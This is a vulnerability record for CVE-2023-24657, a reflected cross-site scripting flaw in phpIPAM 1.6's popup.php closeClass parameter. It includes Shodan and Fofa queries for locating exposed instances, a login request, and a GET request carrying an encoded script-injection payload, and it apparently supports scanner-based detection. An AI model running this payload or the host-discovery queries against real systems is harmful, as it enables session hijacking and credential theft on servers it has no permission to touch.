| Title | phpIPAM - 1.6 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of phpIPAM or apply the necessary security patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0274 |
| CVE ID | CVE-2023-24657 |
| CWE ID | CWE-79 |
| Shodan Query | html:"phpIPAM IP address management"http.html:"phpipam ip address management" |
| Fofa Query | body="phpipam ip address management" |
| Tags | cve2023 cve xss phpipam authenticated vuln |
phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /app/login/login_check.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
ipamusername=FBQjrN&ipampassword=jXldcN
GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-24657.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-24657.pcap
N/AN/A